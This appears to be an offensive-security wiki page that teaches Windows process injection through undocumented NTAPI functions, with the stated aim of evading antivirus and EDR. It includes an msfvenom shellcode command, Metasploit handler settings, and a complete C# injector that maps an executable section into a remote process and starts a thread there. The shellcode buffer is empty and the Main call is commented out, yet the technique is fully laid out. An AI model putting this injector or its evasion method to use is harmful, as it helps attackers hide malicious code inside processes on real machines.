Using NTAPI Undocumented Functions
Overview
Process injection is a technique used to inject code into a running process on a target machine. This can be done to evade AV/EDRs as well as maintaining persistence on a target machine.
This technique leverages the below low-level native APIs.
Use EXITFUNC=thread in msfvenom payload to not kill parent process on exit
Also setting it in multi/handler
msf6 exploit(multi/handler) > set exitfunc thread
Walkthrough
- Firstly, we will get a handle on both our local and the target remote thread. 
- We then need to create a new RWX memory section. 
- Map view of created section into the local process with (R-W) and map view of create section into the remote process with (R-E). 
- Copy shellcode into the locally mapped view which will then be reflected on the remote process mapped view. 
- Execute the shellcode in the remote process. 
Example payload
msfvenom -a x64 --platform Windows -p windows/x64/exec CMD="C:\Windows\System32\calc.exe" -f csharp EXITFUNC=threadMap view of created section into the remote process

Now we should be able to reflectively. copy our shellcode into the remote process.
We can verify this with Process Hacker 2:

Code example
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
namespace nt_PInject
{
    internal class Program
    {
        [StructLayout(LayoutKind.Sequential)]
        public struct UNICODE_STRING
        {
            public ushort Length;
            public ushort MaximumLength;
            public IntPtr Buffer;
        }
        [DllImport("ntdll.dll")]
        public static extern void RtlInitUnicodeString(
            ref UNICODE_STRING DestinationString,
            [MarshalAs(UnmanagedType.LPWStr)] string SourceString);
        static void InitializeObjectAttributes(
            ref OBJECT_ATTRIBUTES objAttr,
            ref UNICODE_STRING name,
            int attr,
            IntPtr root,
            IntPtr secDesc)
        {
            objAttr.Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES));
            objAttr.RootDirectory = root;
            objAttr.ObjectName = IntPtr.Zero;
            objAttr.Attributes = (uint)attr;
            objAttr.SecurityDescriptor = secDesc;
            objAttr.SecurityQualityOfService = IntPtr.Zero;
        }
        [DllImport("ntdll.dll", SetLastError = true)]
        static extern uint NtOpenProcess(
            ref IntPtr ProcessHandle,
            UInt32 AccessMask,
            ref OBJECT_ATTRIBUTES ObjectAttributes,
            ref CLIENT_ID ClientId);
        [StructLayout(LayoutKind.Sequential, Pack = 0)]
        struct OBJECT_ATTRIBUTES
        {
            public Int32 Length;
            public IntPtr RootDirectory;
            public IntPtr ObjectName;
            public uint Attributes;
            public IntPtr SecurityDescriptor;
            public IntPtr SecurityQualityOfService;
        }
        [StructLayout(LayoutKind.Sequential)]
        struct CLIENT_ID
        {
            public IntPtr UniqueProcess;
            public IntPtr UniqueThread;
        }
        [DllImport("ntdll.dll", SetLastError = true, ExactSpelling = true)]
        static extern UInt32 NtCreateSection(
            ref IntPtr SectionHandle,
            UInt32 DesiredAccess,
            IntPtr ObjectAttributes,
            ref UInt32 MaximumSize,
            UInt32 SectionPageProtection,
            UInt32 AllocationAttributes,
            IntPtr FileHandle);
        [DllImport("ntdll.dll", SetLastError = true)]
        static extern uint NtMapViewOfSection(
            IntPtr SectionHandle,
            IntPtr ProcessHandle,
            ref IntPtr BaseAddress,
            UIntPtr ZeroBits,
            UIntPtr CommitSize,
            out ulong SectionOffset,
            out uint ViewSize,
            uint InheritDisposition,
            uint AllocationType,
            uint Win32Protect);
        [DllImport("ntdll.dll", SetLastError = true)]
        static extern IntPtr RtlCreateUserThread(
            IntPtr processHandle,
            IntPtr threadSecurity,
            bool createSuspended,
            Int32 stackZeroBits,
            IntPtr stackReserved,
            IntPtr stackCommit,
            IntPtr startAddress,
            IntPtr parameter,
            ref IntPtr threadHandle,
            IntPtr clientId);
        [DllImport("ntdll.dll", SetLastError = true)]
        static extern uint NtUnmapViewOfSection(
            IntPtr hProc,
            IntPtr baseAddr);
        [DllImport("ntdll.dll", ExactSpelling = true, SetLastError = false)]
        static extern int NtClose(
            IntPtr hObject);
        static void Main(string[] args)
        {
            //nt_PInject(args[0]);
            return;
        }
        private static void nt_PInject(string processname)
        {
            // shellcode
            byte[] buffer = new byte[296];
            int bufLength = buffer.Length;
            UInt32 ubufLength = (UInt32)bufLength;
            // get handle on local and remote process
            IntPtr localProcessHandle = Process.GetCurrentProcess().Handle;
            string targetProcess = processname;
            IntPtr remoteProcessHandle = IntPtr.Zero;
            UNICODE_STRING name = new UNICODE_STRING();
            RtlInitUnicodeString(ref name, null);
            OBJECT_ATTRIBUTES objAttr = new OBJECT_ATTRIBUTES();
            InitializeObjectAttributes(ref objAttr, ref name, 0, IntPtr.Zero, IntPtr.Zero);
            objAttr.ObjectName = name.Buffer;
            CLIENT_ID clientId = new CLIENT_ID
            {
                UniqueProcess = new IntPtr(Process.GetProcessesByName(targetProcess)[0].Id),
                UniqueThread = IntPtr.Zero
            };
            NtOpenProcess(ref remoteProcessHandle, (uint)ProcessAccessFlags.All, ref objAttr, ref clientId);
            // Creating new RWX memory section object
            IntPtr sectionHandle = IntPtr.Zero;
            NtCreateSection(ref sectionHandle, (uint)DesiredAccess.SECTION_MAP_READ | (uint)DesiredAccess.SECTION_MAP_WRITE | (uint)DesiredAccess.SECTION_MAP_EXECUTE, IntPtr.Zero, ref ubufLength, (uint)DesiredAccess.PAGE_EXECUTE_READWRITE, (uint)DesiredAccess.SEC_COMMIT, IntPtr.Zero);
            // Mapping view of create section into the local process (R-W)
            IntPtr localBaseAddress = IntPtr.Zero;
            ulong localSectionOffset = 0;
            NtMapViewOfSection(sectionHandle, localProcessHandle, ref localBaseAddress, UIntPtr.Zero, UIntPtr.Zero, out localSectionOffset, out ubufLength, 2, 0, (uint)DesiredAccess.PAGE_READ_WRITE);
            // Mapping view of created section into the remote process (R-E)
            IntPtr remoteBaseAddress = IntPtr.Zero;
            ulong remoteSectionOffset = 0;
            NtMapViewOfSection(sectionHandle, remoteProcessHandle, ref remoteBaseAddress, UIntPtr.Zero, UIntPtr.Zero, out remoteSectionOffset, out ubufLength, 2, 0, (uint)DesiredAccess.PAGE_READ_EXECUTE);
            Marshal.Copy(buffer, 0, localBaseAddress, bufLength);
            // Execute remote thread
            IntPtr threadHandle = IntPtr.Zero;
            RtlCreateUserThread(remoteProcessHandle, IntPtr.Zero, false, 0, IntPtr.Zero, IntPtr.Zero, remoteBaseAddress, IntPtr.Zero, ref threadHandle, IntPtr.Zero);
            // Cleaning up 
            NtUnmapViewOfSection(localProcessHandle, localBaseAddress);
            NtClose(sectionHandle);
        }
        [Flags]
        public enum ProcessAccessFlags : uint
        {
            All = 0x001F0FFF
        }
        public enum DesiredAccess : uint
        {
            SECTION_MAP_READ = 0x0004,
            SECTION_MAP_WRITE = 0x0002,
            SECTION_MAP_EXECUTE = 0x0008,
            PAGE_READ_WRITE = 0x04,
            PAGE_READ_EXECUTE = 0x20,
            PAGE_EXECUTE_READWRITE = 0x40,
            SEC_COMMIT = 0x8000000
        }
    }
}
Detection and AV
Detection on nt-PInject code without shellcode:

References
Last updated

